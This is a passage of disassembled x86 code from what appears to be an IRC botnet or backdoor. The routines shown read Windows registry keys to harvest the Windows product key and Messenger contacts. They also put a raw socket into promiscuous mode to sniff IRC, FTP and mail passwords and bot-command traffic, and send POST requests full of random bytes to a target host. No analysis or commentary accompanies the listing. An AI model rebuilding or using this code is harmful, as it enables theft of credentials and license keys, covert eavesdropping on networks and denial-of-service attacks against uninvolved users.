loc_4252DE: ; CODE XREF: sub_42521F+B2j push ebx push ebx push ebx push 4 push eax call dword_437040 ; MapViewOfFile mov esi, eax cmp esi, ebx jnz short loc_425305 push [ebp+var_10] mov esi, dword_437044 call esi ; dword_437044 push [ebp+var_4] call esi ; dword_437044 jmp loc_425275 ; --------------------------------------------------------------------------- loc_425305: ; CODE XREF: sub_42521F+CFj xor ecx, ecx xor eax, eax mov ch, [esi+63h] mov ah, [esi+61h] mov cl, [esi+62h] movsx edi, byte ptr [esi+64h] movzx eax, ax shl ecx, 10h or ecx, eax movzx eax, byte ptr [esi+60h] or ecx, eax mov eax, edi imul eax, 44h cmp eax, ebx jle short loc_425392 add ecx, esi push 44h mov [ebp+var_8], ecx dec eax xor edx, edx pop ecx div ecx mov edi, eax inc edi loc_42533D: ; CODE XREF: sub_42521F+171j mov ecx, [ebp+var_8] xor eax, eax loc_425342: ; CODE XREF: sub_42521F+132j mov dl, [ecx] inc ecx mov [ebp+eax+var_290], dl inc ecx inc eax cmp eax, 44h jle short loc_425342 cmp [ebp+var_2C], ebx lea eax, [ebp+var_290] push eax lea eax, [ebp+var_E0] push offset aS_5 ; "%s" push eax push [ebp+arg_0] mov [ebp+var_24C], bl jnz short loc_42537B call sub_41CE4A jmp short loc_425380 ; --------------------------------------------------------------------------- loc_42537B: ; CODE XREF: sub_42521F+153j call sub_41CDD4 loc_425380: ; CODE XREF: sub_42521F+15Aj add esp, 10h push 64h call dword_437190 ; Sleep add [ebp+var_8], 44h dec edi jnz short loc_42533D loc_425392: ; CODE XREF: sub_42521F+10Cj push [ebp+var_4] mov edi, dword_437044 call edi ; dword_437044 push esi call dword_437048 ; UnmapViewOfFile push [ebp+var_10] call edi ; dword_437044 lea eax, [ebp+var_18] push eax push 0F003Fh push ebx push offset aSoftwareMicr_3 ; "Software\\Microsoft\\MessengerService\\Lis"... push 80000001h call dword_437004 ; RegOpenKeyExA test eax, eax jnz loc_42547F mov esi, 400h mov [ebp+var_20], 3 mov [ebp+var_14], esi mov [ebp+var_4], ebx mov edi, offset dword_4504C4 loc_4253E2: ; CODE XREF: sub_42521F+252j push 80h lea eax, [ebp+var_164] push ebx push eax call sub_429760 push [ebp+var_4] lea eax, [ebp+var_164] push offset aAllowD ; "Allow%d" push eax call sub_429B03 inc [ebp+var_4] push esi lea eax, [ebp+var_794] push ebx push eax mov [ebp+var_14], esi call sub_429760 add esp, 24h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_794] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_164] push ebx push eax push [ebp+var_18] call dword_437028 ; RegQueryValueExA test eax, eax jnz short loc_425476 cmp [ebp+var_2C], ebx lea eax, [ebp+var_794] push eax lea eax, [ebp+var_E0] push edi push eax push [ebp+arg_0] jnz short loc_425461 call sub_41CE4A jmp short loc_425466 ; --------------------------------------------------------------------------- loc_425461: ; CODE XREF: sub_42521F+239j call sub_41CDD4 loc_425466: ; CODE XREF: sub_42521F+240j add esp, 10h push 64h call dword_437190 ; Sleep jmp loc_4253E2 ; --------------------------------------------------------------------------- loc_425476: ; CODE XREF: sub_42521F+222j push [ebp+var_18] call dword_437000 ; RegCloseKey loc_42547F: ; CODE XREF: sub_42521F+1A6j xor eax, eax inc eax loc_425482: ; CODE XREF: sub_42521F+58j pop edi pop esi pop ebx leave retn 4 sub_42521F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425489 proc near ; CODE XREF: sub_425568+127p var_AC = byte ptr -0ACh var_78 = byte ptr -78h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0ACh lea eax, [ebp+var_4] push esi push eax push 20019h push 3 push offset aSoftwareMicr_4 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h xor esi, esi call dword_456FC0 ; RegOpenKeyExA test eax, eax jnz loc_425563 lea eax, [ebp+var_8] mov [ebp+var_8], 0A4h push eax lea eax, [ebp+var_AC] push eax push esi push esi push offset aDigitalproduct ; "DigitalProductId" push [ebp+var_4] call dword_456DF0 ; RegQueryValueExA test eax, eax jnz short loc_42555A push ebx xor ebx, ebx cmp [ebp+arg_4], esi push edi push 0Fh lea esi, [ebp+var_78] setnz bl pop ecx lea edi, [ebp+var_AC] lea ebx, ds:18h[ebx*4] add ebx, [ebp+arg_0] mov [ebp+arg_0], 18h rep movsb loc_425507: ; CODE XREF: sub_425489+CAj push 0Eh xor eax, eax pop esi loc_42550C: ; CODE XREF: sub_425489+A1j lea ecx, [ebp+esi+var_AC] push 18h shl eax, 8 movzx edx, byte ptr [ecx] xor eax, edx xor edx, edx pop edi div edi dec esi cmp esi, 0FFFFFFFFh mov [ecx], al mov eax, edx jg short loc_42550C mov al, byte_450544[eax] push 5 mov [ebx], al mov eax, [ebp+arg_0] cdq pop ecx dec ebx idiv ecx test edx, edx jnz short loc_425550 cmp [ebp+arg_0], edx jle short loc_425550 cmp [ebp+arg_4], edx jz short loc_425550 mov byte ptr [ebx], 2Dh dec ebx loc_425550: ; CODE XREF: sub_425489+B7j ; sub_425489+BCj ... dec [ebp+arg_0] jns short loc_425507 xor esi, esi pop edi inc esi pop ebx loc_42555A: ; CODE XREF: sub_425489+53j push [ebp+var_4] call dword_456F08 ; RegCloseKey loc_425563: ; CODE XREF: sub_425489+29j mov eax, esi pop esi leave retn sub_425489 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425568 proc near ; CODE XREF: sub_40A9FE+145Dp var_BC = byte ptr -0BCh var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_8C = dword ptr -8Ch var_88 = byte ptr -88h var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0BCh push esi push edi xor edi, edi push 10h push edi push offset dword_6607EC mov esi, offset off_447718 call sub_429760 add esp, 0Ch lea eax, [ebp+var_9C] mov [ebp+var_9C], 9Ch push eax call dword_437050 ; GetVersionExA test eax, eax jz loc_425686 push [ebp+var_94] push [ebp+var_98] push offset aD_D ; "%d.%d" push 4 push esi call sub_429BBE add esp, 14h cmp [ebp+var_98], 4 jnz short loc_42561B cmp [ebp+var_94], edi jnz short loc_4255FB cmp [ebp+var_8C], 1 jnz short loc_4255E4 mov esi, offset a95 ; "95" loc_4255E4: ; CODE XREF: sub_425568+75j cmp [ebp+var_8C], 2 jnz loc_425686 mov esi, offset aNt_0 ; "NT" jmp loc_425686 ; --------------------------------------------------------------------------- loc_4255FB: ; CODE XREF: sub_425568+6Cj cmp [ebp+var_94], 0Ah jnz short loc_42560B mov esi, offset a98 ; "98" jmp short loc_425686 ; --------------------------------------------------------------------------- loc_42560B: ; CODE XREF: sub_425568+9Aj cmp [ebp+var_94], 5Ah jnz short loc_425686 mov esi, offset aMe_0 ; "ME" jmp short loc_425686 ; --------------------------------------------------------------------------- loc_42561B: ; CODE XREF: sub_425568+64j cmp [ebp+var_98], 5 jnz short loc_425653 cmp [ebp+var_94], edi jnz short loc_425633 mov esi, offset a2k ; "2K" jmp short loc_425686 ; --------------------------------------------------------------------------- loc_425633: ; CODE XREF: sub_425568+C2j cmp [ebp+var_94], 1 jnz short loc_425643 mov esi, offset aXp ; "XP" jmp short loc_425686 ; --------------------------------------------------------------------------- loc_425643: ; CODE XREF: sub_425568+D2j cmp [ebp+var_94], 2 jnz short loc_425686 mov esi, offset a2k3_0 ; "2K3" jmp short loc_425686 ; --------------------------------------------------------------------------- loc_425653: ; CODE XREF: sub_425568+BAj cmp [ebp+var_98], 6 jnz short loc_425686 cmp [ebp+var_94], edi jnz short loc_425678 cmp [ebp+var_2], 1 jnz short loc_425671 mov esi, offset aVista_0 ; "Vista" jmp short loc_425686 ; --------------------------------------------------------------------------- loc_425671: ; CODE XREF: sub_425568+100j mov esi, offset a2008 ; "2008" jmp short loc_425686 ; --------------------------------------------------------------------------- loc_425678: ; CODE XREF: sub_425568+FAj cmp [ebp+var_94], 1 jnz short loc_425686 mov esi, offset a7 ; "7" loc_425686: ; CODE XREF: sub_425568+3Bj ; sub_425568+83j ... lea eax, [ebp+var_BC] push 1 push eax call sub_425489 pop ecx test eax, eax pop ecx jz short loc_4256CF lea eax, [ebp+var_BC] cmp [ebp+arg_8], edi push eax lea eax, [ebp+var_88] push eax push esi push offset aUhdhc1pcv9i ; "uhdhC1pCV9i/" push offset aSWindowsSSKey_ ; "%s Windows %s (%s) Key: %.29s" push [ebp+arg_0] push [ebp+arg_4] jnz short loc_4256C8 call sub_41CE4A loc_4256C3: ; CODE XREF: sub_425568+165j add esp, 1Ch jmp short loc_4256F3 ; --------------------------------------------------------------------------- loc_4256C8: ; CODE XREF: sub_425568+154j call sub_41CDD4 jmp short loc_4256C3 ; --------------------------------------------------------------------------- loc_4256CF: ; CODE XREF: sub_425568+130j cmp [ebp+arg_8], edi push offset aUhdhc1pcv9i ; "uhdhC1pCV9i/" push offset aSWindowsKeyNot ; "%s Windows Key not found." push [ebp+arg_0] push [ebp+arg_4] jnz short loc_4256EB call sub_41CE4A jmp short loc_4256F0 ; --------------------------------------------------------------------------- loc_4256EB: ; CODE XREF: sub_425568+17Aj call sub_41CDD4 loc_4256F0: ; CODE XREF: sub_425568+181j add esp, 10h loc_4256F3: ; CODE XREF: sub_425568+15Ej pop edi pop esi leave retn sub_425568 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256F7 proc near ; CODE XREF: sub_40A9FE+1503p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 88h lea eax, [ebp+var_4] push esi xor esi, esi push eax push 20019h push esi push [ebp+arg_10] mov [ebp+var_4], esi mov [ebp+var_8], 80h push [ebp+arg_C] call dword_437004 ; RegOpenKeyExA lea eax, [ebp+var_8] push eax lea eax, [ebp+var_88] push eax push esi push esi push [ebp+arg_14] push [ebp+var_4] call dword_437028 ; RegQueryValueExA test eax, eax jnz short loc_425774 lea eax, [ebp+var_88] cmp [ebp+arg_8], esi push eax push offset aUhdhc1pcv9i ; "uhdhC1pCV9i/" push offset aSS_ ; "%s %s." push [ebp+arg_0] push [ebp+arg_4] jnz short loc_425763 call sub_41CE4A jmp short loc_425768 ; --------------------------------------------------------------------------- loc_425763: ; CODE XREF: sub_4256F7+63j call sub_41CDD4 loc_425768: ; CODE XREF: sub_4256F7+6Aj add esp, 14h push [ebp+var_4] call dword_437000 ; RegCloseKey loc_425774: ; CODE XREF: sub_4256F7+47j pop esi leave retn sub_4256F7 endp ; =============== S U B R O U T I N E ======================================= sub_425777 proc near ; CODE XREF: sub_425AE4+198p ; sub_425AE4+1BCp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_6607FC, eax mov eax, offset dword_6607FC retn sub_425777 endp ; =============== S U B R O U T I N E ======================================= sub_425786 proc near ; CODE XREF: sub_425AE4+226p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset dword_443F24 push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_4257A0 loc_42579C: ; CODE XREF: sub_425786+29j xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4257A0: ; CODE XREF: sub_425786+14j push offset dword_443F14 push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_42579C push offset aSh ; "!* SH" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_4257C7 loc_4257C2: ; CODE XREF: sub_425786+50j ; sub_425786+61j ... xor eax, eax pop esi inc eax retn ; --------------------------------------------------------------------------- loc_4257C7: ; CODE XREF: sub_425786+3Aj push offset aUdp ; "!* UDP" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4257C2 push offset aPan ; "!* PAN" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4257C2 push offset aPush ; "!* PUSH" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4257C2 push offset aWget ; "wget" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4257C2 push offset aPhpshell ; "phpshell" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4257C2 push offset aMain_1 ; "[MAIN]:" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4257C2 push offset aScan ; "[SCAN]:" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4257C2 push offset aFtp_0 ; "[FTP]:" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz loc_4257C2 push offset aTftp_0 ; "[TFTP]:" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz loc_4257C2 push offset aKeylogger ; "[KEYLOGGER]:" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz loc_4257C2 push offset aVnc ; "[VNC]:" push esi call sub_42AEA0 neg eax pop ecx sbb eax, eax pop ecx neg eax pop esi retn sub_425786 endp ; =============== S U B R O U T I N E ======================================= sub_425892 proc near ; CODE XREF: sub_425AE4:loc_425D37p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aLtlec18us5q0 ; "LTLec18US5q0" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_4258AC loc_4258A8: ; CODE XREF: sub_425892+29j xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4258AC: ; CODE XREF: sub_425892+14j push offset dword_443F24 push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4258A8 push offset dword_443F14 push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_4258D3 loc_4258CE: ; CODE XREF: sub_425892+50j ; sub_425892+61j ... xor eax, eax pop esi inc eax retn ; --------------------------------------------------------------------------- loc_4258D3: ; CODE XREF: sub_425892+3Aj push offset aPass_0 ; "PASS " push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4258CE push offset aIrcOperator ; "IRC Operator" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4258CE push offset aNowANetworkAdm ; "now a network administrator" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4258CE push offset aPrivmsg ; "PRIVMSG" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4258CE push offset aJoin ; "JOIN" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4258CE push offset aOper ; "OPER" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4258CE push offset aPong ; "PONG" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4258CE push offset aPing ; "PING" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz loc_4258CE push offset aUserhost ; "USERHOST" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz loc_4258CE push offset aNotice ; "NOTICE" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz loc_4258CE push offset aTopic_0 ; "TOPIC" push esi call sub_42AEA0 neg eax pop ecx sbb eax, eax pop ecx neg eax pop esi retn sub_425892 endp ; =============== S U B R O U T I N E ======================================= sub_42599E proc near ; CODE XREF: sub_425AE4:loc_425D61p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset dword_443F24 push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_4259B8 loc_4259B4: ; CODE XREF: sub_42599E+29j ; sub_42599E+3Aj ... xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4259B8: ; CODE XREF: sub_42599E+14j push offset dword_443F14 push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4259B4 push offset off_4506DC push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4259B4 push offset aMail ; "Mail" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4259B4 push offset aUser_1 ; "USER " push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_425A01 xor eax, eax pop esi inc eax retn ; --------------------------------------------------------------------------- loc_425A01: ; CODE XREF: sub_42599E+5Cj push offset aPass_0 ; "PASS " push esi call sub_42AEA0 neg eax pop ecx sbb eax, eax pop ecx neg eax pop esi retn sub_42599E endp ; =============== S U B R O U T I N E ======================================= sub_425A16 proc near ; CODE XREF: sub_425AE4:loc_425D8Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset dword_443F24 push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_425A30 loc_425A2C: ; CODE XREF: sub_425A16+29j xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_425A30: ; CODE XREF: sub_425A16+14j push offset dword_443F14 push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_425A2C push offset a_bot ; "_BOT" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_425A57 xor eax, eax pop esi inc eax retn ; --------------------------------------------------------------------------- loc_425A57: ; CODE XREF: sub_425A16+3Aj push offset a_bot_login ; "_BOT_LOGIN" push esi call sub_42AEA0 neg eax pop ecx sbb eax, eax pop ecx neg eax pop esi retn sub_425A16 endp ; =============== S U B R O U T I N E ======================================= sub_425A6C proc near ; CODE XREF: sub_425AE4:loc_425DB5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset dword_443F24 push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_425A86 loc_425A82: ; CODE XREF: sub_425A6C+29j xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_425A86: ; CODE XREF: sub_425A6C+14j push offset dword_443F14 push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_425A82 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_425AAD loc_425AA8: ; CODE XREF: sub_425A6C+50j ; sub_425A6C+61j xor eax, eax pop esi inc eax retn ; --------------------------------------------------------------------------- loc_425AAD: ; CODE XREF: sub_425A6C+3Aj push offset aApache1_3 ; "Apache/1.3" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_425AA8 push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_425AA8 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_42AEA0 neg eax pop ecx sbb eax, eax pop ecx neg eax pop esi retn sub_425A6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425AE4 proc near ; DATA XREF: sub_40A9FE+FFCo var_4FC = byte ptr -4FCh var_4FB = byte ptr -4FBh var_3FC = byte ptr -3FCh var_3F3 = byte ptr -3F3h var_3F0 = dword ptr -3F0h var_3EC = dword ptr -3ECh var_3E8 = dword ptr -3E8h var_3D4 = byte ptr -3D4h var_1FC = byte ptr -1FCh var_17C = byte ptr -17Ch var_FC = dword ptr -0FCh var_F8 = byte ptr -0F8h var_78 = dword ptr -78h var_38 = byte ptr -38h var_28 = byte ptr -28h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4FCh mov eax, [ebp+arg_0] push ebx push esi push edi push 31h mov esi, eax pop ecx lea edi, [ebp+var_FC] rep movsd xor esi, esi push 3Fh inc esi xor ebx, ebx mov [eax+0BCh], esi mov eax, [ebp+var_FC] mov [ebp+arg_0], eax pop ecx xor eax, eax lea edi, [ebp+var_4FB] mov [ebp+var_4FC], bl push 0FFh rep stosd stosw lea eax, [ebp+var_4FC] mov [ebp+var_24], 2 push eax mov [ebp+var_22], bx mov [ebp+var_20], ebx call dword_456F4C ; gethostname lea eax, [ebp+var_4FC] push eax call dword_456FD4 ; gethostbyname movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_10] push eax call sub_429420 mov eax, [ebp+var_10] add esp, 0Ch mov [ebp+var_20], eax push ebx push 3 push 2 call dword_456FD0 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jnz short loc_425B96 push [ebp+var_78] call sub_423623 pop ecx push ebx call dword_437174 ; ExitThread loc_425B96: ; CODE XREF: sub_425AE4+A0j lea eax, [ebp+var_24] push 10h push eax push edi call dword_456F6C ; bind cmp eax, 0FFFFFFFFh jnz short loc_425BBF push edi call dword_456FF0 ; closesocket push [ebp+var_78] call sub_423623 pop ecx push ebx call dword_437174 ; ExitThread loc_425BBF: ; CODE XREF: sub_425AE4+C2j push ebx lea eax, [ebp+var_28] push ebx push eax push ebx push ebx lea eax, [ebp+var_14] push 4 push eax push 98000001h push edi mov [ebp+var_14], esi call dword_456EC0 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_425BF8 push edi call dword_456FF0 ; closesocket push [ebp+var_78] call sub_423623 pop ecx push ebx call dword_437174 ; ExitThread loc_425BF8: ; CODE XREF: sub_425AE4+FBj mov ecx, [ebp+arg_0] call sub_41DB58 push eax lea eax, [ebp+var_38] push eax call dword_4370B4 ; lstrcpyA mov ecx, [ebp+arg_0] call sub_41DB60 test al, al jz loc_425DFF mov esi, offset aS_5 ; "%s" loc_425C20: ; CODE XREF: sub_425AE4+315j mov edi, 200h lea eax, [ebp+var_3FC] push edi push ebx push eax call sub_429760 add esp, 0Ch lea eax, [ebp+var_3FC] push ebx push edi push eax push [ebp+var_C] call dword_456F58 ; recv cmp [ebp+var_3F3], 6 jnz loc_425DEF push [ebp+var_3E8] call dword_456E30 ; ntohs push [ebp+var_3E8+2] movzx edi, ax call dword_456E30 ; ntohs push [ebp+var_3F0] movzx eax, ax mov [ebp+var_4], eax call sub_425777 add esp, 4 push dword ptr [eax] call dword_456FDC ; inet_ntoa push eax lea eax, [ebp+var_17C] push esi push eax call sub_429B03 push [ebp+var_3EC] call sub_425777 add esp, 10h push dword ptr [eax] call dword_456FDC ; inet_ntoa push eax lea eax, [ebp+var_1FC] push esi push eax call sub_429B03 lea eax, [ebp+var_3D4] mov [ebp+var_8], ebx push eax call sub_4293A0 add esp, 10h test eax, eax jbe short loc_425D03 loc_425CD4: ; CODE XREF: sub_425AE4+21Dj mov eax, [ebp+var_8] lea eax, [ebp+eax+var_3D4] cmp byte ptr [eax], 0Dh jnz short loc_425CE6 mov byte ptr [eax], 20h loc_425CE6: ; CODE XREF: sub_425AE4+1FDj cmp byte ptr [eax], 0Ah jnz short loc_425CEE mov byte ptr [eax], 20h loc_425CEE: ; CODE XREF: sub_425AE4+205j inc [ebp+var_8] lea eax, [ebp+var_3D4] push eax call sub_4293A0 cmp [ebp+var_8], eax pop ecx jb short loc_425CD4 loc_425D03: ; CODE XREF: sub_425AE4+1EEj lea eax, [ebp+var_3D4] push eax call sub_425786 test eax, eax pop ecx lea eax, [ebp+var_3D4] push eax jz short loc_425D37 push [ebp+var_4] lea eax, [ebp+var_1FC] push eax lea eax, [ebp+var_17C] push edi push eax push offset unk_4507C0 jmp loc_425DDD ; --------------------------------------------------------------------------- loc_425D37: ; CODE XREF: sub_425AE4+235j call sub_425892 test eax, eax pop ecx lea eax, [ebp+var_3D4] push eax jz short loc_425D61 push [ebp+var_4] lea eax, [ebp+var_1FC] push eax lea eax, [ebp+var_17C] push edi push eax push offset unk_45079C jmp short loc_425DDD ; --------------------------------------------------------------------------- loc_425D61: ; CODE XREF: sub_425AE4+262j call sub_42599E test eax, eax pop ecx lea eax, [ebp+var_3D4] push eax jz short loc_425D8B push [ebp+var_4] lea eax, [ebp+var_1FC] push eax lea eax, [ebp+var_17C] push edi push eax push offset unk_450778 jmp short loc_425DDD ; --------------------------------------------------------------------------- loc_425D8B: ; CODE XREF: sub_425AE4+28Cj call sub_425A16 test eax, eax pop ecx lea eax, [ebp+var_3D4] push eax jz short loc_425DB5 push [ebp+var_4] lea eax, [ebp+var_1FC] push eax lea eax, [ebp+var_17C] push edi push eax push offset unk_450754 jmp short loc_425DDD ; --------------------------------------------------------------------------- loc_425DB5: ; CODE XREF: sub_425AE4+2B6j call sub_425A6C test eax, eax pop ecx jz short loc_425DEF lea eax, [ebp+var_3D4] push eax lea eax, [ebp+var_1FC] push [ebp+var_4] push eax lea eax, [ebp+var_17C] push edi push eax push offset dword_450730 loc_425DDD: ; CODE XREF: sub_425AE4+24Ej ; sub_425AE4+27Bj ... lea eax, [ebp+var_F8] push eax push [ebp+arg_0] call sub_41CE4A add esp, 20h loc_425DEF: ; CODE XREF: sub_425AE4+16Bj ; sub_425AE4+2D9j mov ecx, [ebp+arg_0] call sub_41DB60 test al, al jnz loc_425C20 loc_425DFF: ; CODE XREF: sub_425AE4+131j push [ebp+var_C] call dword_456FF0 ; closesocket push [ebp+var_78] call sub_423623 pop ecx push ebx call dword_437174 ; ExitThread sub_425AE4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E18 proc near ; CODE XREF: sub_425FFA+168p ; sub_425FFA+182p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_4293A0 cmp eax, 9Fh pop ecx ja loc_425FF6 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_429760 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_41E3EC add esp, 10h cmp eax, 0FFFFFFFFh mov [ebp+var_24], eax jz loc_425FF6 push 50h call dword_456F38 ; ntohs push 6 push 1 push 2 mov [ebp+var_26], ax call dword_456FD0 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_425FF6 lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_456EBC ; connect cmp eax, 0FFFFFFFFh jz loc_425FF6 push 32003h call sub_4297B8 mov ebx, dword_437188 mov edi, eax pop ecx mov [ebp+var_10], edi call ebx ; dword_437188 push eax call sub_429B8F call sub_429B9C cdq mov ecx, 0FFh mov [esp+38h+var_38], 32001h idiv ecx push 0 push edi movsx esi, dl call sub_429760 push 32000h push esi push edi call sub_429760 push edi call sub_4293A0 push 323EAh mov [ebp+var_8], eax call sub_4297B8 push [ebp+var_8] mov esi, eax push [ebp+arg_0] push offset aPostHttp1_1Hos ; "POST / HTTP/1.1\r\nHost: %s\r\nContent-Leng"... push esi call sub_429B03 add esp, 30h push edi mov edi, dword_437090 push esi call edi ; dword_437090 push offset asc_4476D0 ; "\r\n" push esi call edi ; dword_437090 push esi call sub_4293A0 mov edi, eax pop ecx mov [ebp+var_8], edi call ebx ; dword_437188 mov dword ptr [ebp+var_18+4], eax xor eax, eax test edi, edi mov [ebp+arg_0], eax jbe short loc_425F74 mov [ebp+var_C], edi mov edi, 400h jmp short loc_425F44 ; --------------------------------------------------------------------------- loc_425F41: ; CODE XREF: sub_425E18+15Aj mov eax, [ebp+arg_0] loc_425F44: ; CODE XREF: sub_425E18+127j mov ecx, [ebp+var_8] push 0 sub ecx, eax add eax, esi cmp ecx, edi jnb short loc_425F56 push [ebp+var_C] jmp short loc_425F57 ; --------------------------------------------------------------------------- loc_425F56: ; CODE XREF: sub_425E18+137j push edi loc_425F57: ; CODE XREF: sub_425E18+13Cj push eax push [ebp+var_4] call dword_456F8C ; send cmp eax, 0FFFFFFFFh jz short loc_425FDD add [ebp+arg_0], edi sub [ebp+var_C], edi mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jb short loc_425F41 loc_425F74: ; CODE XREF: sub_425E18+11Dj call ebx ; dword_437188 sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_437354 fst [ebp+arg_0] fcomp flt_437350 fnstsw ax test ah, 44h jp short loc_425F9E fld1 fstp [ebp+arg_0] loc_425F9E: ; CODE XREF: sub_425E18+17Fj push [ebp+var_4] call dword_456FF0 ; closesocket push [ebp+var_10] call sub_4298F2 push esi call sub_4298F2 mov eax, [ebp+var_8] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_43734C fmul flt_437348 call sub_42A9E0 loc_425FD8: ; CODE XREF: sub_425E18+1E0j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_425FDD: ; CODE XREF: sub_425E18+14Cj push [ebp+var_4] call dword_456FF0 ; closesocket push [ebp+var_10] call sub_4298F2 push esi call sub_4298F2 pop ecx pop ecx loc_425FF6: ; CODE XREF: sub_425E18+17j ; sub_425E18+41j ... xor eax, eax jmp short loc_425FD8 sub_425E18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425FFA proc near ; DATA XREF: sub_40A9FE+166Co var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr 